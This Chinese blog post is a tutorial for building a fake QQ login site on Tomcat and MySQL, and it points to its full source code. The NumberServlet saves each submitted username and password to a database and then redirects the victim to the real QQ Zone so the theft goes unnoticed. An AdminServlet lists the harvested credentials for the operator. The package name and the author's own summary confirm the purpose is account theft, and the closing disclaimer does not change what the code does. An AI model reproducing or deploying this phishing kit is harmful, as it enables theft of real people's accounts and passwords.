天天看點

使用tomcat做一個小型qq網站1.項目準備2.項目制作3.項目總結

咳咳,做什麼标題上有.

1.項目準備

1.1建立web項目

本次項目使用gradle工具進行編譯直接在idea内建立gradle項目選擇web就可以自動生成.但是生成的項目裡沒有WEB-INF目錄,需要我們自己建立

使用tomcat做一個小型qq網站1.項目準備2.項目制作3.項目總結

1.2 MYSQL配置

建庫sql

建表sql

CREATE TABLE `qq_number`.`Untitled`  (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `login_id` varchar(255) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL,
  `password` varchar(255) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL,
  PRIMARY KEY (`id`, `login_id`) USING BTREE
) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_bin ROW_FORMAT = Dynamic;
           

2.項目制作

廢話不多說直接上代碼

AdminServlet.java

package 你的包名.qq_pirate_number.servlet;

@WebServlet(urlPatterns = "/admin", name = "AdminServlet")
public class AdminServlet extends HttpServlet {
    private static final long serialVersionUID = 1L;
    private IUserDAO iUserDAO;

    @Override
    public void init() {
        iUserDAO = new UserDAOImpl();
    }

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        if ("admin".equals(req.getParameter("u")) &&
                "你的密碼".equals(req.getParameter("p"))) {
            list(req, resp);
        } else {
            resp.sendError(403);
        }
    }

    private void list(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        List<User> list = iUserDAO.listAll();
        req.setAttribute("userList", list);
        req.getRequestDispatcher("/WEB-INF/admin.jsp").forward(req, resp);
    }
}

           

這是一個簡單的管理servlet(實際上通過Navicat直接看更友善)

執行完後跳轉至一個admin.jsp顯示

NumberServlet.java

@WebServlet(urlPatterns = "/number", name = "NumberServlet")
public class NumberServlet extends HttpServlet {
    private IUserDAO iUserDAO = new UserDAOImpl();

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);

        req.setCharacterEncoding("utf-8");
        String username = req.getParameter("username");
        String password = req.getParameter("password");
        if (!StringUtils.isAnyBlank(username, password)) {
            User user = new User();
            user.setLogin_id(username);
            user.setPassword(password);
            iUserDAO.save(user);
        }
        resp.sendRedirect("https://qzone.qq.com/");
    }
}
           

項目的核心執行完後跳轉至QQ空間

完整代碼:

github上源碼.

gitee上源碼

3.項目總結

這個項目還是蠻簡單的3天時間就搞定了

思路就是讓别人登陸,然後記錄登陸資訊罷了

遠離違法,從我做起